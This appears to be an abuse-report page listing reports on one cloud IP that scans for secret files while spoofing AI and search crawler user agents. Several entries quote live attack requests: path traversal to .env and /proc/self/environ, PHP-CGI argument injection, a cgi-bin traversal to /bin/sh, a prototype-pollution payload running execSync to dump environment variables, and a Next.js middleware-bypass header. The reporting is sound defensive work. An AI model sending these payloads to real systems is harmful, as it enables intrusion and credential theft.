🇵🇹
gamabe
2026-10-15 14:11:38
(20 hours ago)
Automated secret-file probing: 288 requests 2026-10-12 to 10-15 for .env variants, .git/config, SSH ...
show more
Automated secret-file probing: 288 requests 2026-10-12 to 10-15 for .env variants, .git/config, SSH private keys, cloud credential files (.aws, .s3cfg, .dockercfg) and Spring actuator endpoints, including path-traversal variants (..;/, %2e%2e). Rotates spoofed search/AI crawler user agents (GPTBot, CCBot, Amazonbot, Baiduspider, KimiBot) and generic Chrome 131. Part of a coordinated pool of 100+ cloud IPs.
show less
Web App Attack
Bad Web Bot
🇳🇱
Site.eu
2026-10-15 07:25:36
(1 day ago)
Excessive multi-domain requests
Brute-Force
🇬🇧
openstrike.co.uk
2026-10-15 05:16:01
(1 day ago)
226 attacks on directory traversals, VC URLs, PHP URLs, shell probes, env grabbing URLs (type 2), pa ...
show more
226 attacks on directory traversals, VC URLs, PHP URLs, shell probes, env grabbing URLs (type 2), password/key grabbing URLs, config grabbing URLs (type 2), env grabbing URLs:
GET /..%2f..%2f.env HTTP/1.1
GET /.git/HEAD HTTP/1.1
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input HTTP/1.1
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
GET /Dockerrun.aws.json HTTP/1.1
GET /config/settings.local.yml HTTP/1.1
GET /config/.env.local HTTP/1.1
show less
Hacking
Web App Attack
🇩🇪
curiosity
2026-10-14 20:42:25
(1 day ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-bad-user-agent
Web App Attack
Bad Web Bot
🇨🇦
alexbfr
2026-10-14 19:06:00
(1 day ago)
Fail2Ban report from nginx-bot-trap; automated HTTP honeypot detection.
Web App Attack
🇬🇧
Aetherweb Ark
2026-10-14 18:32:05
(1 day ago)
(mod_security) mod_security (id:949110) triggered by 35.221.64.77 (JP/Japan/77.64.221.35.bc.googleus ...
show more
(mod_security) mod_security (id:949110) triggered by 35.221.64.77 (JP/Japan/77.64.221.35.bc.googleusercontent.com): N in the last X secs
show less
Web App Attack
🇳🇱
Alt255
2026-10-14 18:19:01
(1 day ago)
[ti-07al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Exam ...
show more
[ti-07al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 35.221.64.77 - - [14/Oct/2026:20:18:44 +0200] "GET /build../.env HTTP/1.1" 404 7386 "-" "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)"
...
show less
Bad Web Bot
Web App Attack
🇧🇷
Sabrina Soto
2026-10-14 14:57:56
(1 day ago)
Probe for vulnerabilities. Path attempted: /.gitlab-ci.yml
Web App Attack
🇪🇸
el-brujo
2026-10-14 14:38:09
(1 day ago)
14/Oct/2026:16:38:08.798888 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ...
show more
14/Oct/2026:16:38:08.798888 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 35.221.64.77] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:0. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:0: {\\\\x22then\\\\x22:\\\\x22$1:__proto__:then\\\\x22,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22,\\\\x22reason\\\\x22:-1,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22$b1337/\\\\x22}\\\\x22,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require('child_process').execsync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\\\\x22,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22$1:constructor:constructor\\\\x22}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "p
...
show less
Hacking
Web App Attack
🇷🇴
clauss
2026-10-14 14:33:40
(1 day ago)
35.221.64.77 - - [14/Oct/2026:17:33:39 +0300] "GET /firebase-adminsdk.json HTTP/2.0" 404 201 "-" "Mo ...
show more
35.221.64.77 - - [14/Oct/2026:17:33:39 +0300] "GET /firebase-adminsdk.json HTTP/2.0" 404 201 "-" "Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"
35.221.64.77 - - [14/Oct/2026:17:33:40 +0300] "GET /__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc HTTP/2.0" 404 201 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot"
...
show less
Web App Attack
🇺🇸
gamabe
2026-10-14 13:49:24
(1 day ago)
Detected crowdsecurity/http-dos-swithcing-ua attack pattern. Reported by CrowdSec IDS.
Hacking
🇧🇷
dominioz
2026-10-14 13:45:36
(1 day ago)
2026-10-14 09:26:46 GET /css../.env - - 35.221.64.77 HTTP/2 Mozilla/5.0+(compatible;+ChatGLM-Spider/ ...
show more
2026-10-14 09:26:46 GET /css../.env - - 35.221.64.77 HTTP/2 Mozilla/5.0+(compatible;+ChatGLM-Spider/1.0;++https://zhipuai.cn/) - 301 578
2026-10-14 10:24:59 GET /..../..../..../..../proc/self/environ - - 35.221.64.77 HTTP/2 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) - 404 2313
2026-10-14 11:11:31 GET /dist../.env - - 35.221.64.77 HTTP/2 CCBot/2.0+(https://commoncrawl.org/faq/) - 301 568
2026-10-14 12:31:24 GET /media../.env - - 35.221.64.77 HTTP/2 Mozilla/5.0+(compatible;+GrokBot/1.0;++https://x.ai/) - 301 566
2026-10-14 13:45:25 GET /uploads../.env - - 35.221.64.77 HTTP/2 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) - 301 562
...
show less
Bad Web Bot
Web App Attack
🇩🇪
Nightreaver
2026-10-14 13:23:28
(1 day ago)
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /z9x8c7v6b5-debug-trigger-wheremap.[snip] HTTP/1. ...
show more
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /z9x8c7v6b5-debug-trigger-wheremap.[snip] HTTP/1.1" 404 5723 "-" "Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; https://developers.facebook.com/docs/sharing/webmasters/crawler)"
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /assets/manifest.json HTTP/1.1" 404 5723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /dist/manifest.json HTTP/1.1" 404 5723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /webpack-stats.json HTTP/1.1" 404 5723 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
35.221.64.77 - - [14/Oct/2026:15:23:27 0200] "GET /manifest.json HTTP/1.1" 404 5723 "-" "Mozilla/5.0 (Windows NT [...]
show less
Bad Web Bot
Web App Attack
🇩🇪
updown.io
2026-10-14 13:03:40
(1 day ago)
{"level":"info","ts":1791983017.8603551,"logger":"http.log.access.log1","msg":"handled request","req ...
show more
{"level":"info","ts":1791983017.8603551,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"35.221.64.77","remote_port":"48630","client_ip":"35.221.64.77","proto":"HTTP/2.0","method":"GET","host":"status.caves.org","uri":"/asset-manifest.json","headers":{"X-Nextjs-Data":["1"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0"],"Sec-Ch-Ua":["\"Chromium\";v=\"152\", \"Not?A_Brand\";v=\"24\", \"Microsoft Edge\";v=\"152\""],"Sec-Ch-Ua-Mobile":["?0"],"Accept-Encoding":["gzip, deflate, br, zstd"],"X-Middleware-Subrequest":["src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"],"Sec-Fetch-Site":["none"],"Sec-Fetch-Dest":["document"],"Sec-F
...
show less
DDoS Attack
Web App Attack
🇩🇪
Blexyel
2026-10-14 12:17:53
(1 day ago)
35.221.64.77 - - [14/Oct/2026:14:17:53 +0200] "GET /.git/config HTTP/1.1" 200 265 "-" "Mozilla/5.0 A ...
show more
35.221.64.77 - - [14/Oct/2026:14:17:53 +0200] "GET /.git/config HTTP/1.1" 200 265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; [email protected] )" "pingusmc.org"
...
show less
Brute-Force
Web App Attack
